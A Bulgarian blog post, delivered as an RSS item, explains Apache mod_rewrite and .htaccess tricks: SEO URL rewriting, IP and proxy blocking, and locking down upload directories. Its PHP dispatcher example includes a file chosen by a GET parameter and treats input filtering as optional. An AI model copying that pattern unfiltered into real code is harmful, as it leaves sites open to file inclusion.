<pre>RewriteRule ^([-\w0-9_]+)$ /$1.php [L,NC,QSA]</pre>
</blockquote>
<p>Пример: при написване на адрес domain.com/форма-за-контакти2 ще бъде потърсена страница /форма-за-контакти2.php</p>
<p><strong>Внимание:</strong> ако уеб съръвра е на Windows машина, горния регулярен израз вероятно няма да сработи,заради бъг в win32 mod_rewrite апаче модула.</p>
<blockquote>
<pre>RewriteRule ^([-А-Яа-яA-Za-z0-9_]+)$ /$1.asp [L,NC,QSA]</pre>
</blockquote>
<p>Вместо \w или А-Яа-яA-Za-z  използвай АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюяA-Za-z</p>
<p>В този пример при написване на адрес domain.com/Условия_За_Ползване ще бъде потърсена страница /Условия_За_Ползване.asp</p>
<p>като в полето за адреси на браузъра ще остане да се вижда http://domain.com/Условия_За_Ползване</p>
<p>Очевидно е, че по този начин няма как да се разбере какви скриптове управляват страниците на сайта. Дори може да се направи страниците да изглеждат като html файлове, а да се изпълняват едноименни php файлове с правилото:</p>
<blockquote>
<pre>RewriteRule ^([-А-Яа-яA-Za-z0-9_]+)\.html$ /$1.php [QSA,L]</pre>
</blockquote>
<p>в този случай ако напишеш http://domain.com/clients.html ще бъде потърсен файла /clients.php. Този подход има двоен положителен ефект &#8211; от една страна търсачките и от друга сигурност.</p>
<h3>Съкращаване на адреси</h3>
<p>Много често при <a href="http://ganbox.com/">SEO оптимизация</a> на динамични сайтове с CMS се налага съкращаване на адреси.</p>
<p>Дълги адреси като този</p>
<p><span class="postbody">http://domain.com/index.php?sec=pro&amp;cat=48&amp;category=avto</span></p>
<p>да изглеждат като този</p>
<p>http://domain.com/sec/pro/cat/48/category/avto</p>
<blockquote>
<pre>RewriteRule
^sec/([^/]+)/cat/([0-9]+)/category/([^/]+)/?$
/index.php?sec=$1&amp;cat=$2&amp;category=$3 [QSA,L]</pre>
</blockquote>
<p>Разбира се горното правило се пише на един ред, като между отделните части има по един интервал.</p>
<p>След това в кода се правят промени на всички места, които образуват връзки, за да откриеш всички тези места може да търсиш във всички файлове за http или за href.</p>
<p>Хубавото е, че старите адреси продължават да работят и не е проблем за хората, които са направили Bookmark към стар адрес.</p>
<h3>Пренасочване на адреси към един файл</h3>
<p>Превод на адреси от вида www.domain.com/contacts към файл index.php, като подава по GET в променлива p името на страницата www.domain.com/index.php?p=contacts</p>
<blockquote>
<pre># ако не бъде открит файл
RewriteCond %{SCRIPT_FILENAME} !-f</pre>
<pre># ако не бъде открита директория
RewriteCond %{SCRIPT_FILENAME} !-d</pre>
<pre># подава низа към файла index.php
RewriteRule ^([^/]+)/?$ /index.php?p=$1 [QSA,L]</pre>
</blockquote>
<p>По този начин всеки адрес ще се изпраща за обработка към един единствен файл index.php често наричан диспечер (dispatcher).</p>
<p>В този файл се взема подадения низ и се слага в променлива $page. След това се проверява и ако файла със страницата не съществува се преминава към страница с грешка 404.php</p>
<blockquote>
<pre>$page= isset($_GET['p']) ? $_GET['p'] : 'home';
if(!file_exists(ABS_PATH.$page.'.php')) $page = '404';
include_once(ABS_PATH.$page.'.php');</pre>
</blockquote>
<p>От съображения за сигурност е много важно преди този код да е дефинирана константата ABS_PATH като в нея има абсолютен път до главната уеб директория например:</p>
<blockquote>
<pre>define('ABS_PATH', '<span id="ygtvlabelel1" class="ygtvlabel">/home/account</span>/www/');</pre>
</blockquote>
<p>където <span id="ygtvlabelel1" class="ygtvlabel">account е потребителско име за cpanel на хостинга. </span></p>
<p><span id="ygtvlabelel1" class="ygtvlabel">Ако се очаква в адреса на страницата да има само латински букви и тирета, тогава в index.php преди реда с </span>file_exists добави следния ред:</p>
<blockquote>
<pre>$page = preg_replace('|[^A-Za-z_-]|','',$page);
# премахва всичко различно от буква и знаците _ и -</pre>
</blockquote>
<h3>Премахване на проблем с дублирани адреси</h3>
<p>Наскоро имах следния проблем при оптимизиране на динамичен сайт. В навигацията сайта има два бутона за превключване на езика с българското и английското знаме.</p>
<p>Ако текущия адрес е http://domain.com/page.php?id=7</p>
<p>то бутона с английското знаме сочи към http://domain.com/page.php?lang=en&amp;id=7</p>
<p>а бутона с българското знаме към http://domain.com/page.php?lang=bg&amp;id=7</p>
<p>От потребителска гледна точка е удобно защото при смяна на езика оставаш в текущата страница, но от гледна точка на търсачката всяка страница на български има по два адреса.</p>
<p>Дори началната страница има 3 адреса: http://domain.com,  http://domain.com/index.php  и  http://domain.com/index.php?lang=bg</p>
<p>Решение:</p>
<blockquote>
<pre># премахване на всички низове <span class="postbody">index.* от интернет адреса.
# Заб. Изтрий тези две правила ако искаш да инсталираш форум или блог</span></pre>
<pre>RewriteCond %{THE_REQUEST} \ /(.+/)?index\.([^/]+)(\?.*)?\  [NC]
RewriteRule ^(.+/)?index\.([^/]+)$ /%1 [NC,R=301,L]</pre>
<pre># Правила за премахване на параметър lang=bg като запазва всичко останало в адреса

RewriteCond %{QUERY_STRING} ^(([^&amp;]*&amp;)*)(lang=bg)($|&amp;)(.*)
RewriteRule .* $0?%1%5 [N,E=REMOVED:true]
RewriteCond %{ENV:REMOVED} true
RewriteRule ^ %{REQUEST_URI} [L,R=301]</pre>
</blockquote>
<p><strong>Внимание:</strong> Ако добавиш първите две правила за премахване на index от адресите и в последствие решиш да инсталираш форум, блог или някакъв CMS в поддиректория в същия сайт, се очаква да имаш проблеми и  инсталацията няма да може да се извърши.</p>
<h3>Премахване на www.</h3>
<p>Пренасочване на  www.domain.com/страница  към domain.com/страница</p>
<blockquote>
<pre>RewriteCond %{HTTP_HOST} ^www\.(domain\.com)$ [NC]
RewriteRule ^(.*)$ http://%1%{REQUEST_URI} [R=301,L]</pre>
</blockquote>
<h2>Други полезни трикове в .htaccess</h2>
<h3>Ограничаване на достъпа</h3>
<h4>по IP адрес</h4>
<p>За да забраниш достъпа до сайта от IP адрес 207.246.65.22 в началото на файла напиши</p>
<blockquote>
<pre># ban web proxy
Deny from 207.246.65.22</pre>
</blockquote>
<p>За да забраниш цялата мрежа 64.4.0.0 &#8211; 64.4.63.255 на Microsoft и техния MSN Bot напиши</p>
<blockquote>
<pre>Deny from 64.4.0.0/18</pre>
</blockquote>
<p>За да забраниш няколко  мрежи в Киев от които в блога вали спам изпращан от различни IP адреси като: 95.133.140.7, 95.133.192.198 и др. напиши:</p>
<blockquote>
<pre>Deny from 91.124.0.0/16
Deny from 91.195.12.0/23
Deny from 94.178.0.0/15
Deny from 95.132.0.0/14</pre>
</blockquote>
<p>Има предвид, че така блокираш много хора от Киев. Прецени сам дали очакваш читатели от там.</p>
<h4>по тип на търсения файл</h4>
<p>Забрана за показване на файлове, които завършват на .txt</p>
<blockquote>
<pre>&lt;Files ~ "\.txt$"&gt;
    Order allow,deny
    Deny from all
&lt;/Files&gt;</pre>
</blockquote>
<p><strong> </strong></p>
<h4>по вид браузър</h4>
<p>Ако имаш директория /old в която има стара версия на сайта, която поддържа архаичния браузър Internet Explorer 6, може да пренасочиш всички заявки от такъв браузър заедно с подадените параметри към тях.</p>
<blockquote>
<pre># за браузър IE6 или по-стар пренасочва към /old
RewriteCond %{HTTP_USER_AGENT} MSIE\ [1-6]
RewriteRule !^old(/.*)?$ /old%{REQUEST_URI} [QSA,L]</pre>
</blockquote>
<h4>забрана на достъп до сайт през прокси</h4>
<p>Напиши всичките тези правила и ще ограничиш достъпа до сайта от огромно количество свободни уеб прокси сайтове. Много е полезно за сайтове с форуми, където често потребителите си правят втори профил през прокси, за да се представят за друг човек.</p>
<blockquote>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">RewriteCond %{HTTP:VIA} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; !^$ [OR]<br />
RewriteCond %{HTTP:FORWARDED} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; !^$ [OR]<br />
RewriteCond %{HTTP:USERAGENT_VIA} &nbsp; &nbsp; &nbsp; !^$ [OR]<br />
RewriteCond %{HTTP:X_FORWARDED_FOR} &nbsp; &nbsp; !^$ [OR]<br />
RewriteCond %{HTTP:PROXY_CONNECTION} &nbsp; &nbsp;!^$ [OR]<br />
RewriteCond %{HTTP:XPROXY_CONNECTION} &nbsp; !^$ [OR]<br />
RewriteCond %{HTTP:HTTP_PC_REMOTE_ADDR} !^$ [OR]</div></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">RewriteCond %{HTTP:XROXY_CONNECTION} &nbsp; &nbsp;!^$ [OR]<br />
RewriteCond %{HTTP:X-FORWARDED-FOR} &nbsp; &nbsp; !^$ [OR]</div></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">RewriteCond %{HTTP:FORWARDED-FOR} &nbsp; &nbsp; &nbsp; !^$ [OR]</div></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">RewriteCond %{HTTP:X-FORWARDED} &nbsp; &nbsp; &nbsp; &nbsp; !^$ [OR]</div></div>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">RewriteCond %{HTTP:HTTP_CLIENT_IP} &nbsp; &nbsp; &nbsp;!^$<br />
RewriteRule ^(.*)$ - [F]</div></div>
</pre>
</blockquote>
<h3>Сигурност</h3>
<p><span style="color: #993300;"><strong>Много важно!</strong></span> Ако ползваш на твоя сайт едно от следните: картинки против автоматични регистрации (captcha),  smarty темплейти или имаш директория, в която могат да се качват снимки или други файлове. Тогава вероятно тези директории имат повече права за писане в тях. Възможно е хакер да се възползва от тази слабост и да качи в такава директория root shell скрипт, който му дава достъп до файлове, база данни и изпълнение на команди. Пример за такива директории в WordPress са тези в  wp-content/uploads. Много добра идея е в такива директории да поставиш htaccess подобен на следния:</p>
<pre>&lt;Files ~ "^.*\.(php|pl|log|bak)"&gt;
 Order allow,deny
 Deny from all
 Satisfy All
&lt;/Files&gt;</pre>
<p>Това забранява достъпа до php и pl файлове качени в тази директория. Допълни в първия ред разделени с | разширенията на всички типове файлове, които не се очаква да присъстват в тази директория. Друг вариант е, ако директорията е само за картинки да изброиш типовете файлове, които се очакват да са в директорията със следния htaccess файл:</p>
<pre>RewriteCond %{REQUEST_URI} !(\.(gif|jpe?g|png)$)
RewriteRule .* - [F,L]</pre>
<p>Копирай този файл във всички директории за картинки. Сложи този файл в директорията upload на WordPress и той ще защити всички поддиректории, които се създават. В зависимост какви файлове качваш в блога, може да разшириш списъка. При мен е  !(\.(gif|jpe?g|png|zip|doc|xls|xml|html|txt)$) разбира се НЕ трябва да добавяш php иначе се губи смисъла.</p>
<p>Най-добрия вариант е ако може всички подобни директории да бъдат едно ниво нагоре извън главната уеб директория. Така няма да има нужда от htaccess в тях, защото дори хакер да качи файл няма да може да го достъпи през уеб. И освен това всеки път като архивираш проекта на сайта няма да копираш мегабайти излишна временна информация.</p>
<h3>Обработка на грешки</h3>
<p>Задаване на различни обработчици на възникнали грешки: служебна страница със съобщение , локална страница или файл на друг сървър.</p>
<blockquote>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ErrorDocument 403 &quot;Sorry! Access denied!&quot;</div></div>
<pre>ErrorDocument 404 /404.html</pre>
<pre>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ErrorDocument 500 http://drug.domain.com/error</div></div>
</pre>
</blockquote>
<p>в този пример, ако бъде написан адрес към несъществуваща страница, ще бъде зареден файла /404.html</p>
<p>Продължава в статията <a href="/blog/%d0%bf%d1%80%d0%b5%d0%bd%d0%b0%d1%81%d0%be%d1%87%d0%b2%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d0%b4%d0%be%d0%bc%d0%b5%d0%b9%d0%bd/">Пренасочване на домейн</a>.</p>
<h6 style="text-align: right;">© В статията са ползвани материали от <a href="http://forum.modrewrite.com">forum.modrewrite.com</a></h6>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>6912</b><br /><span style="color:grey;font-size:0.8em">(след дата 20 декември 2009)</span></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%bf%d1%80%d0%b8%d0%bb%d0%be%d0%b6%d0%bd%d0%b0-%d0%bc%d0%b0%d0%b3%d0%b8%d1%8f-%d1%81-modrewrite/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
